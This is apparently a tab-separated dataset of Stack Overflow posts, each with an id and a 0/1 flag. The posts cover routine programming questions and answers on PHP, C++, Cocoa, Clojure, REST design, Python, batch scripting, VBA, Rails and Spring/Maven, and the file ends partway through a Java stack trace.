39430328	0	How to set mongodb settings, like mongodb.debug in php.ini file? <p>How to set mongodb settings, like mongodb.debug in php.ini file?</p> <p>For example, here [ <a href="http://php.net/manual/en/mongodb.configuration.php#ini.mongodb.debug" rel="nofollow">http://php.net/manual/en/mongodb.configuration.php#ini.mongodb.debug</a> ] is described setting mongodb.debug with values "" / PHP_INI_ALL .</p> <p>How to set it in php.ini?</p>
256052	0	 <p>std::map's comparator isn't std::equal_to it's std::less, I'm not sure what the best way to short circuit a &lt; compare so that it would be faster than the built in one.</p> <p>If there are always &lt; 15 elems, perhaps you could use a key besides std::string?</p>
9871134	0	 <p>Expose Action Classes as URLs if you want to save time and effort overheads.</p> <p>But, REST APIs would be your best bet in long term as they are scalable and if later on if you want users to update/create data through APIs.</p>
15606677	0	 <p>This is another approach, using more iterables and more relying on defaults:</p> <pre><code>from itertools import imap, islice, izip def find_min_diff(iterable, sort_func=sorted): sorted_iterable = sort_func(iterable) return min(imap( lambda a, b: b - a, izip(sorted_iterable, islice(sorted_iterable, 1)), )) </code></pre>
29146259	0	 <p>When you say:-</p> <pre><code>var _db = new PortOfTroyCustomers.Models.PortOfTroyContext(); </code></pre> <p>The compiler infers the type of the expression to the right of the assignment, this is known as implicit type in C#.</p> <p>Now, you are trying to assign, your query like this, we have <code>System.Data.Entity.DbSet</code> on right &amp; <code>System.Linq.IQueryable</code> on left which are different types:- </p> <pre><code>IQueryable&lt;Accommodation&gt; query = _db.Accommodations; </code></pre> <p>Thus, you need an explicit typecast like this:-</p> <pre><code>IQueryable&lt;Accommodation&gt; query = (IQueryable&lt;Accommodation&gt;)_db.Accommodations; </code></pre>
4372354	0	 <p>The class of the <code>Like</code> button is <code>like_link stat_elem as_link</code>, but I'm not seeing any <code>#808080</code> deceleration. I'll post some working code once I find it.</p>
3841348	0	 <p>Declare it right in your code there:</p> <pre><code>class Datastructure { private: struct Ship { // Constructor!!! Ship(); std::string s_class; std::string name; unsigned int length; } minShip, maxShip; std::vector&lt;Ship&gt; shipVector; public: Datastructure(); ~Datastructure(); }; </code></pre> <p>Then to define, use the proper scope:</p> <pre><code>Datastructure::Ship::Ship() { // stuff } </code></pre>
11767557	0	Scroll an NSTableView so that a row is centered <p>I want to programmatically scroll an NSTableView so that a particular row is centered. It's simple to scroll the NSTableView so that a particular row is visible:</p> <pre><code>[theTableView scrollRowToVisible:pos]; </code></pre> <p>However, usually the row in question is at the bottom of the visible area, whereas I'd like it to be roughly in the center.</p> <p>Another stupid approach is to scroll a few rows beyond the one I want to be visible, e.g., something like:</p> <pre><code> // pos = index of desired row // numRows = number of rows in the table NSRect visibleRect = [resultsTableView visibleRect]; NSRange visibleRange = [resultsTableView rowsInRect:visibleRect]; NSUInteger offset = visibleRange.length/2; NSUInteger i; if (pos + offset &gt;= numRows) i = numRows - 1; else if (pos &lt; visibleRange.length) i = pos; else i = pos + offset; [resultsTableView scrollRowToVisible:i]; </code></pre> <p>This works if all rows are exactly the same height, but I am interested in making rows with different heights.</p> <p>Is there a better, perhaps more direct, way to do this? For example, I have noticed that the NSTableView is wrapped in an NSScrollView.... (The table was made using Interface Builder.)</p> <p>Thanks!</p>
3483077	0	Applying the Y-Combinator to a recursive function with two arguments in Clojure? <p>Doing the Y-Combinator for a single argument function such as factorial or fibonacci in Clojure is well documented: <a href="http://rosettacode.org/wiki/Y_combinator#Clojure" rel="nofollow noreferrer">http://rosettacode.org/wiki/Y_combinator#Clojure</a> </p> <p>My question is - how do you do it for a two argument function such as this getter for example?</p> <p>(Assumption here is that I want to solve this problem recursively and this non-idiomatic clojure code is there deliberately for another reason)</p> <p>[non y-combinator version]</p> <pre><code>(defn get_ [n lat] (cond (empty? lat) () (= 0 (- n 1)) (first lat) true (get_ (- n 1) (rest lat)))) (get_ 3 '(a b c d e f g h i j)) </code></pre>
26130776	0	 <p>From the API doc for <code>HTable</code>'s <code>flushCommits()</code> method: "Executes all the buffered Put operations". You should call this at the end of your <code>blah()</code> method -- it looks like they're currently being buffered but never executed or executed at some random time. </p>
29163424	0	 <p>I think that this link could give you some hints about the design of RESTful services / Web API: <a href="https://templth.wordpress.com/2014/12/15/designing-a-web-api/" rel="nofollow">https://templth.wordpress.com/2014/12/15/designing-a-web-api/</a>.</p> <p>It's clear that not all Web services that claim to be RESTful are really RESTful ;-)</p> <p>To be short, RESTful services should leverage HTTP methods for what they are designed for:</p> <ul> <li>method <code>GET</code>: return the state of a resource</li> <li>method <code>POST</code>: execute an action (creation of an element in a resource list, ...)</li> <li>method <code>PUT</code>: update the complete state of a resource</li> <li>method <code>PATCH</code>: update partially the state of a resource</li> <li>method <code>DELETE</code>: delete a resource</li> </ul> <p>You need to be also to be aware that they can apply at different levels, so methods won't do the same things:</p> <ul> <li>a list resource (for example, path <code>/elements</code>)</li> <li>an element resource (for example, path <code>/elements/{elementid}</code>)</li> <li>a field of an element resource (for example, path <code>elements/{elementid}/fieldname</code>). This is convenient to manage field values with multiple cardinality. You don't have to send the complete value of the fields (whole list) but add / remove elements from it.</li> </ul> <p>Another important thing is to leverage HTTP headers. For example, the header <code>Accept</code> for content negotiation...</p> <p>I find the Web API of Github well designed and its documentation is also great. You could browse it to make you an idea. See its documentation here: <a href="https://developer.github.com/v3/" rel="nofollow">https://developer.github.com/v3/</a>.</p> <p>Hope it helps you, Thierry</p>
9476189	0	 <p>If you don't do any query then there is nothing to boost.</p> <p>A dismax query is nothing more than a query which matches in any one of several fields. You can boost a dismax query in the way that you specified, but you need to do the query to boost it.</p> <p>q.alt is only used when no query is specified.</p>
20559990	0	 <p>The <a href="http://docs.oracle.com/javaee/6/api/javax/servlet/package-summary.html" rel="nofollow">Servlet API</a> provides a way to read the Request Parameters. For example,</p> <p><a href="http://docs.oracle.com/javaee/6/api/javax/servlet/ServletRequest.html#getParameterNames%28%29" rel="nofollow"><code>ServletRequest.getParameterNames()</code></a> returns you a map of key-value pairs of the request parameters.</p> <p>However, for Path variables and values, I don't know if Spring MVC offers a simplified way of doing it, but using Servlet API again, you can read the URI using <a href="http://docs.oracle.com/javaee/6/api/javax/servlet/http/HttpServletRequest.html#getRequestURI%28%29" rel="nofollow"><code>HttpServletRequest.getRequestURI()</code></a>. You'll have to have your own logic to split it up into appropriate Path parameters.</p>
36265049	1	Can't escape a while loop, Python 2.7 <p>For some reason i can't escape while loop , i tried debugging it, and looks like for loop is untouched and i don't understand why. (it's fraction of mine tictactoe game code)</p> <pre><code>users_main = [] computers_main = [] while True: computers_storage = [] users_storage = [] if 0==0: condition = True while condition: guess_y = int(raw_input('Enter coordinate y:')) -1 guess_x = int(raw_input('Enter coordinate x:')) -1 users_storage.append(guess_y) users_storage.append(guess_x) users_main.append(users_storage) for a in computers_main: if a == users_storage: del users_storage[-2] del users_main[-1] condition = True break else: condition = False break break </code></pre>
26625601	0	 <p>@user2009755, you need to create a master and slave file only in the master. And in configuration files in $HADOOP_HOME/etc/hadoop, make necessary changes to the URI pointing to the master node.<br><br>NOTE: Try to format the namenode and delete the tmp files (usually /tmp/*) but if you changed it in <code>core-site.xml</code>, format that directory in all nodes and start all the daemons, it worked for me.</p>
14870369	0	tranpose only the two outer words of three <p>How to transpose "foo" and "bar" in "foo and bar" in emacs with the least number of key strokes?</p> <p>input:</p> <pre><code>foo and bar </code></pre> <p>output:</p> <pre><code>bar and foo </code></pre>
25294454	0	 <p>It really depends on what scope you want the iterator to have. Generally speaking, you want to restrict its scope as much as possible while still letting it to its job<sup>1</sup>.</p> <p>If you're only going to use it inside the body of the loop, then it's preferable to define it in the loop header, so its scope is restricted to the loop body.</p> <p>If you're going to use it after the end of the loop, then define it above the loop so it still exists after the end of the loop.</p> <p>Of course, you generally want to avoid the whole question, such as by using a standard algorithm or range-based for loop (usually with <code>auto</code> instead of specifying the type explicitly).</p> <hr> <p><sub> 1. The same applies in general, not just to iterators. </sub></p>
20264567	0	 <p>First, this line contains undefined behavior</p> <pre><code>print(++ptr,ptr--,ptr,ptr++,++ptr); </code></pre> <p>because it uses a variable that is part of an expression with side effect multiple times without reaching a <a href="http://en.wikipedia.org/wiki/Sequence_point" rel="nofollow"><em>sequence point</em></a>.</p> <blockquote> <p>In the code static keyword is used so i thought that each time it would take a different input.</p> </blockquote> <p>Presence or absence of <code>static</code> keyword makes no difference in this example, because the code never prints the value of the pointer, only the content of memory pointed to by that pointer.</p> <p>You can remove undefined behavior by moving each expression with side effects to a separate line, like this:</p> <pre><code>static int arr[]={97,98,99,100,101,102,103,104}; // static can be removed int *ptr=arr+1; // Start at index 1 printf("%d\n", *++ptr); // Move to index 2, prints 99 printf("%d\n", *ptr--); // Print 99, move to index 1 printf("%d\n", *ptr); // Print 98, stay at position 1 printf("%d\n", *ptr++); // Print 98, move to position 2 printf("%d\n", *++ptr); // Move to position 3, print 100 </code></pre> <p>(<a href="http://ideone.com/l110nj" rel="nofollow">demo</a>)</p> <p>Now the output is different (and correct):</p> <pre><code>99 99 98 98 100 </code></pre> <p>This is the output that you should expect to have based on the semantic of the pre-increment/decrement and post-increment/decrement operators.</p>
23709460	0	When using the *sync functions in Node.js, what (if any) background operations continue to run <p>When using the Node.js *Sync functions (I understand you shouldn't, and the reasons why), what (if any) background processes continue to run?</p> <p>For example, if I'm using http.createServer, and from one of the requests I call fs.writeFileSync(), will the server continue to serve new clients whilst that write is in progress (not just accept the connection, but process the entire request)? I.e. would writeFileSync() block the entire process, or just the current call chain?</p>
19637578	0	Error logging in with PayPal payments <p>I am using PayPal to process payments on my site, direct the user to the paypal checkout site, then redirect them back to the success page on my site, but I am having issues when one is directed to the paypal landing page. It won't accept valid paypal username and or passwords to login to complete the transaction. Has anyone had this issue before? Any help would be appreciated.</p> <p>Here is the html form code I have:</p> <pre><code>&lt;form action="https://www.sandbox.paypal.com/cgi-bin/webscr" method="post" target="_top"&gt; &lt;input type="hidden" name="cmd" value="_s-xclick"&gt; &lt;input type="hidden" name="hosted_button_id" value="ZHGKEN49VB9SG"&gt; &lt;input type="image" src="https://www.sandbox.paypal.com/en_US/i/btn/btn_subscribeCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!"&gt; &lt;img alt="" border="0" src="https://www.sandbox.paypal.com/en_US/i/scr/pixel.gif" width="1" height="1"&gt; &lt;/form&gt; </code></pre> <p>Here is the link if it helps: <a href="http://tunesparker.com/members" rel="nofollow">http://tunesparker.com/members</a></p>
7393812	0	Ruby send method with rails associations <p>I have been messing about with making a sortable table module thing. I know some might exist but want to get experience doing this myself. I had the idea of have it like so:</p> <pre><code>SortedTable.new(ModelName, Hash_Of_Columns_And_Fields, ID) </code></pre> <p>example</p> <pre><code>SortedTable.new(Post, {"Title" =&gt; "title", "Body" =&gt; "body", "Last Comment" =&gt; "comment.last.title"}, params[:id]) </code></pre> <p>I am planning to do something like:</p> <pre><code>def initialize(model, fields, id) data = {} model = model.capitalize.constantize model.find(id) fields.each do |column, field| data[column] = model.send(field) end end </code></pre> <p>This works fine for title and body but when it comes to getting the <code>Last Comment</code> with <code>comment.last.title</code> it errors out. I have tried doing <code>Post.send("comments.last.title")</code> but says <code>NoMethodError: undefined method 'comments.last.title' for #&lt;Post:0x0000010331d220&gt;</code></p> <p>I know I can do <code>Post.send("comments").send("last").send("title")</code> and that works but I can not think of how to do that dynamically by taking the fields and spliting the on . then chaining the sends. Can anyone give me advice on how to do this? If I am doing this completely wrong also then please say or point me in the direction of code that does something similar. I am not a expert ruby developer but I am trying.</p> <p>P.S The above code might not work as I am not at a computer with ruby/rails to test, but hopefully you get the concept.</p> <p>Cheers</p>
35057308	0	 <p>For me changing back to MAMPS standard port settings did the trick.</p>
4631207	0	 <p>This should do the trick:</p> <pre><code>#!/bin/bash for file in `find $1 -type f -name "*.txt"`; do nlines=`tail -n 1 $file | grep '^$' | wc -l` if [ $nlines -eq 1 ] then echo $file fi done; </code></pre> <p>Call it this way: <code>./script dir</code></p> <p>E.g. <code>./script /home/user/Documents/</code> -> lists all text files in <code>/home/user/Documents</code> ending with <code>\n</code>.</p>
7082702	0	 <p>If you want to totally throw it away:</p> <pre><code>import subprocess import os with open(os.devnull, 'w') as fp: cmd = subprocess.Popen(("[command]",), stdout=fp) </code></pre> <p>If you are using Python 2.5, you will need <code>from __future__ import with_statement</code>, or just don't use <code>with</code>.</p>
32776749	0	 <p>check below query, I tried below eg. and it is working fine for me,</p> <pre><code>SELECT users.*, threads.* FROM users, threads WHERE users.Username LIKE '?' OR threads.Name LIKE '?' </code></pre> <p>eg.</p> <pre><code>select p.name,bi.mrp from billitem bi,product p where p.name like 'a%' or bi.productname like 'ta%' </code></pre>
14523648	0	 <p>You can use <code>wmic</code> command to get the current Date and time without getting affected by regional settings.</p> <pre><code>@echo off SETLOCAL EnableDelayedExpansion for /f "skip=1 tokens=1-6 delims= " %%a in ('wmic path Win32_LocalTime Get Day^,Hour^,Minute^,Month^,Second^,Year /Format:table') do ( IF NOT "%%~f"=="" ( set /a FormattedDate=10000 * %%f + 100 * %%d + %%a set FormattedDate=!FormattedDate:~0,4!-!FormattedDate:~-4,2!-!FormattedDate:~-2,2! set /a FormattedTime=%%b * 10000 + %%c * 100 + %%e set FormattedTime=!FormattedTime:~0,2!:!FormattedTime:~-4,2!:!FormattedTime:~-2,2! ) ) echo !FormattedDate!T!FormattedTime!Z &lt;--Assuming UTC timezone is used PAUSE </code></pre> <p>Here is the output after executing the script:</p> <pre><code>C:\&gt;dateTime.bat 2013-01-25T22:11:40Z Press any key to continue... </code></pre> <p>Hope it helps :)</p>
6138103	0	 <p>Jboss and Glassfish are great examples of application servers free for commercial use, you have to distinguish the difference between free use and support, both of them are free to use but if you want to get same support (not talking here about forums etc) you would have to probably pay for it.</p>
38276018	0	 <p>I don't have a spotify account so, not sure with the user name password. But their doc says that they have REST implementation, so your credentials need to be 64 bit encoded.</p> <p>In this line <code>HttpRequest.SetRequestHeader "Authorization", "Basic " &amp; strClient_secret</code></p> <p>the variable <code>strClient_secret</code> needs to be 64 bit encoded. </p> <p>so try adding a function like this, while replacing the place holders with correct user name and password.</p> <pre><code>Private Function EncodeBase64() As String arrData = StrConv(&lt;&lt;YOUR_SPOTIFY_USERID&gt;&gt; &amp; ":" &amp; &lt;&lt;YOUR_SPOTIFY_USERPASS&gt;&gt;, vbFromUnicode) Set objXML = New MSXML2.DOMDocument Set objNode = objXML.createElement("b64") objNode.DataType = "bin.base64" objNode.nodeTypedValue = arrData EncodeBase64 = objNode.text Set objNode = Nothing Set objXML = Nothing End Function </code></pre> <p>then change the line above to : <code>HttpRequest.SetRequestHeader "Authorization", "Basic " &amp; EncodeBase64</code></p> <p>have a look here for REST and VBA: <a href="http://ashuvba.blogspot.com/2014/08/excel-vba-json-rest-with-jira-json-is.html" rel="nofollow">http://ashuvba.blogspot.com/2014/08/excel-vba-json-rest-with-jira-json-is.html</a></p> <p>It will set you on correct route hopefully.</p>
37001010	0	 <p>I'm not sure you can use a different respond_to as you can only redirect or render once in an action. </p> <p>One approach would be to create a new route / controller method for updating the team name.</p> <p>routes</p> <pre><code>resources :teams do member { post 'update_name' } end </code></pre> <p>show.html.erb</p> <p>In the view, you can post to the above route and in the controller, create a method for the new route.</p> <pre><code>&lt;%= form_for @team, :url =&gt; update_name_team_path(@team) </code></pre> <p>teams_controller</p> <pre><code>def update_name @team = Team.find(params[:id]) redirect_to team_path(@team) end </code></pre>
27720162	0	Caused by: java.lang.NoClassDefFoundError: org/springframework/aop/framework/AbstractAdvisingBeanPostProcessor <p>I am using Spring 3.2.8.RELEASE, here is pom I am using</p> <pre><code>&lt;project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"&gt; &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt; &lt;parent&gt; &lt;artifactId&gt;PRINT&lt;/artifactId&gt; &lt;groupId&gt;in.myOrg&lt;/groupId&gt; &lt;version&gt;0.0.1-SNAPSHOT&lt;/version&gt; &lt;/parent&gt; &lt;!-- &lt;groupId&gt;in.myOrg&lt;/groupId&gt; --&gt; &lt;artifactId&gt;PRINT-APP&lt;/artifactId&gt; &lt;!-- &lt;version&gt;0.0.1-SNAPSHOT&lt;/version&gt; --&gt; &lt;packaging&gt;war&lt;/packaging&gt; &lt;properties&gt; &lt;org.springframework.version&gt;3.2.8.RELEASE&lt;/org.springframework.version&gt; &lt;project.build.sourceEncoding&gt;UTF-8&lt;/project.build.sourceEncoding&gt; &lt;/properties&gt; &lt;dependencies&gt; &lt;dependency&gt; &lt;groupId&gt;in.myOrg&lt;/groupId&gt; &lt;artifactId&gt;PRINT-Common&lt;/artifactId&gt; &lt;version&gt;0.0.1-SNAPSHOT&lt;/version&gt; &lt;/dependency&gt; &lt;!-- dependency&gt; &lt;groupId&gt;javax.servlet&lt;/groupId&gt; &lt;artifactId&gt;servlet-api&lt;/artifactId&gt; &lt;version&gt;2.5&lt;/version&gt; &lt;/dependency --&gt; &lt;!-- dependency&gt; &lt;groupId&gt;javax.servlet&lt;/groupId&gt; &lt;artifactId&gt;javax.servlet-api&lt;/artifactId&gt; &lt;version&gt;3.1.0&lt;/version&gt; &lt;/dependency --&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-core&lt;/artifactId&gt; &lt;version&gt;${org.springframework.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-beans&lt;/artifactId&gt; &lt;version&gt;${org.springframework.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-context-support&lt;/artifactId&gt; &lt;version&gt;${org.springframework.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-tx&lt;/artifactId&gt; &lt;version&gt;${org.springframework.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-orm&lt;/artifactId&gt; &lt;version&gt;${org.springframework.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-web&lt;/artifactId&gt; &lt;version&gt;${org.springframework.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-webmvc&lt;/artifactId&gt; &lt;version&gt;${org.springframework.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework.security&lt;/groupId&gt; &lt;artifactId&gt;spring-security-core&lt;/artifactId&gt; &lt;version&gt;3.2.5.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework.security&lt;/groupId&gt; &lt;artifactId&gt;spring-security-web&lt;/artifactId&gt; &lt;version&gt;3.2.5.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;commons-lang&lt;/groupId&gt; &lt;artifactId&gt;commons-lang&lt;/artifactId&gt; &lt;version&gt;2.3&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;commons-logging&lt;/groupId&gt; &lt;artifactId&gt;commons-logging&lt;/artifactId&gt; &lt;version&gt;1.1.3&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;commons-logging&lt;/groupId&gt; &lt;artifactId&gt;commons-logging-api&lt;/artifactId&gt; &lt;version&gt;1.1&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;commons-pool&lt;/groupId&gt; &lt;artifactId&gt;commons-pool&lt;/artifactId&gt; &lt;version&gt;1.6&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;commons-collections&lt;/groupId&gt; &lt;artifactId&gt;commons-collections&lt;/artifactId&gt; &lt;version&gt;3.2.1&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;dom4j&lt;/groupId&gt; &lt;artifactId&gt;dom4j&lt;/artifactId&gt; &lt;version&gt;1.6.1&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;log4j&lt;/groupId&gt; &lt;artifactId&gt;log4j&lt;/artifactId&gt; &lt;version&gt;1.2.12&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.apache.felix&lt;/groupId&gt; &lt;artifactId&gt;org.apache.felix.webconsole&lt;/artifactId&gt; &lt;version&gt;3.1.2&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.apache.poi&lt;/groupId&gt; &lt;artifactId&gt;poi&lt;/artifactId&gt; &lt;version&gt;3.7&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.apache.poi&lt;/groupId&gt; &lt;artifactId&gt;poi-ooxml-schemas&lt;/artifactId&gt; &lt;version&gt;3.7&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;taglibs&lt;/groupId&gt; &lt;artifactId&gt;standard&lt;/artifactId&gt; &lt;version&gt;1.1.2&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;stax&lt;/groupId&gt; &lt;artifactId&gt;stax-api&lt;/artifactId&gt; &lt;version&gt;1.0.1&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;xml-apis&lt;/groupId&gt; &lt;artifactId&gt;xml-apis&lt;/artifactId&gt; &lt;version&gt;1.0.b2&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;commons-dbcp&lt;/groupId&gt; &lt;artifactId&gt;commons-dbcp&lt;/artifactId&gt; &lt;version&gt;1.4&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;net.sourceforge.jtds&lt;/groupId&gt; &lt;artifactId&gt;jtds&lt;/artifactId&gt; &lt;version&gt;1.2.2&lt;/version&gt; &lt;/dependency&gt; &lt;!-- Jersey --&gt; &lt;dependency&gt; &lt;groupId&gt;com.sun.jersey&lt;/groupId&gt; &lt;artifactId&gt;jersey-server&lt;/artifactId&gt; &lt;version&gt;1.8&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;com.sun.jersey&lt;/groupId&gt; &lt;artifactId&gt;jersey-core&lt;/artifactId&gt; &lt;version&gt;1.8&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;com.fasterxml.jackson.jaxrs&lt;/groupId&gt; &lt;artifactId&gt;jackson-jaxrs-json-provider&lt;/artifactId&gt; &lt;version&gt;2.3.2&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.codehaus.jackson&lt;/groupId&gt; &lt;artifactId&gt;jackson-mapper-asl&lt;/artifactId&gt; &lt;version&gt;1.9.11&lt;/version&gt; &lt;/dependency&gt; &lt;!-- Spring 3 dependencies --&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-context&lt;/artifactId&gt; &lt;version&gt;${org.springframework.version}&lt;/version&gt; &lt;/dependency&gt; &lt;!-- Jersey + Spring --&gt; &lt;dependency&gt; &lt;groupId&gt;com.sun.jersey.contribs&lt;/groupId&gt; &lt;artifactId&gt;jersey-spring&lt;/artifactId&gt; &lt;version&gt;1.8&lt;/version&gt; &lt;exclusions&gt; &lt;exclusion&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring&lt;/artifactId&gt; &lt;/exclusion&gt; &lt;exclusion&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-core&lt;/artifactId&gt; &lt;/exclusion&gt; &lt;exclusion&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-web&lt;/artifactId&gt; &lt;/exclusion&gt; &lt;exclusion&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-beans&lt;/artifactId&gt; &lt;/exclusion&gt; &lt;exclusion&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-context&lt;/artifactId&gt; &lt;/exclusion&gt; &lt;/exclusions&gt; &lt;/dependency&gt; &lt;!-- Spring AOP + AspectJ --&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-aop&lt;/artifactId&gt; &lt;version&gt;${org.springframework.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.aspectj&lt;/groupId&gt; &lt;artifactId&gt;aspectjrt&lt;/artifactId&gt; &lt;version&gt;1.6.11&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.aspectj&lt;/groupId&gt; &lt;artifactId&gt;aspectjweaver&lt;/artifactId&gt; &lt;version&gt;1.6.11&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.aspectj&lt;/groupId&gt; &lt;artifactId&gt;aspectjtools&lt;/artifactId&gt; &lt;version&gt;1.6.2&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;com.google.code.gson&lt;/groupId&gt; &lt;artifactId&gt;gson&lt;/artifactId&gt; &lt;version&gt;1.7.1&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;com.itextpdf&lt;/groupId&gt; &lt;artifactId&gt;itextpdf&lt;/artifactId&gt; &lt;version&gt;5.0.6&lt;/version&gt; &lt;/dependency&gt; &lt;/dependencies&gt; &lt;build&gt; &lt;finalName&gt;PRINT-APP&lt;/finalName&gt; &lt;resources&gt; &lt;resource&gt; &lt;directory&gt;src/main/resources&lt;/directory&gt; &lt;targetPath&gt;${basedir}/target&lt;/targetPath&gt; &lt;includes&gt; &lt;include&gt;log4j.properties&lt;/include&gt; &lt;/includes&gt; &lt;/resource&gt; &lt;/resources&gt; &lt;plugins&gt; &lt;plugin&gt; &lt;artifactId&gt;maven-compiler-plugin&lt;/artifactId&gt; &lt;version&gt;3.1&lt;/version&gt; &lt;configuration&gt; &lt;source&gt;1.7&lt;/source&gt; &lt;target&gt;1.7&lt;/target&gt; &lt;/configuration&gt; &lt;/plugin&gt; &lt;plugin&gt; &lt;artifactId&gt;maven-war-plugin&lt;/artifactId&gt; &lt;version&gt;2.3&lt;/version&gt; &lt;configuration&gt; &lt;warSourceDirectory&gt;WebContent&lt;/warSourceDirectory&gt; &lt;failOnMissingWebXml&gt;false&lt;/failOnMissingWebXml&gt; &lt;/configuration&gt; &lt;/plugin&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt; &lt;artifactId&gt;maven-resources-plugin&lt;/artifactId&gt; &lt;version&gt;2.6&lt;/version&gt; &lt;/plugin&gt; &lt;!-- plugin&gt; &lt;groupId&gt;org.codehaus.mojo&lt;/groupId&gt; &lt;artifactId&gt;properties-maven-plugin&lt;/artifactId&gt; &lt;version&gt;1.0-alpha-2&lt;/version&gt; &lt;executions&gt; &lt;execution&gt; &lt;phase&gt;initialize&lt;/phase&gt; &lt;goals&gt; &lt;goal&gt;read-project-properties&lt;/goal&gt; &lt;/goals&gt; &lt;/execution&gt; &lt;/executions&gt; &lt;configuration&gt; &lt;files&gt; &lt;file&gt;${basedir}\src\main\resources\build.properties&lt;/file&gt; &lt;/files&gt; &lt;/configuration&gt; &lt;/plugin --&gt; &lt;/plugins&gt; &lt;/build&gt; </code></pre> <p> I am getting following exception:</p> <pre><code>org.springframework.beans.factory.CannotLoadBeanClassException: Error loading class [org.springframework.scheduling.annotation.AsyncAnnotationBeanPostProcessor] for bean with name 'org.springframework.context.annotation.internalAsyncAnnotationProcessor' defined in null: problem with class file or dependent class; nested exception is java.lang.NoClassDefFoundError: org/springframework/aop/framework/AbstractAdvisingBeanPostProcessor at org.springframework.beans.factory.support.AbstractBeanFactory.resolveBeanClass(AbstractBeanFactory.java:1284) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.predictBeanType(AbstractAutowireCapableBeanFactory.java:575) at org.springframework.beans.factory.support.AbstractBeanFactory.isFactoryBean(AbstractBeanFactory.java:1350) at org.springframework.beans.factory.support.DefaultListableBeanFactory.doGetBeanNamesForType(DefaultListableBeanFactory.java:355) at org.springframework.beans.factory.support.DefaultListableBeanFactory.getBeanNamesForType(DefaultListableBeanFactory.java:326) at org.springframework.beans.factory.support.DefaultListableBeanFactory.getBeansOfType(DefaultListableBeanFactory.java:434) at org.springframework.context.support.AbstractApplicationContext.invokeBeanFactoryPostProcessors(AbstractApplicationContext.java:624) at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:461) at org.springframework.web.context.ContextLoader.configureAndRefreshWebApplicationContext(ContextLoader.java:410) at org.springframework.web.context.ContextLoader.initWebApplicationContext(ContextLoader.java:306) at org.springframework.web.context.ContextLoaderListener.contextInitialized(ContextLoaderListener.java:112) at org.apache.catalina.core.StandardContext.listenerStart(StandardContext.java:4973) at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5467) at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150) at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1559) at 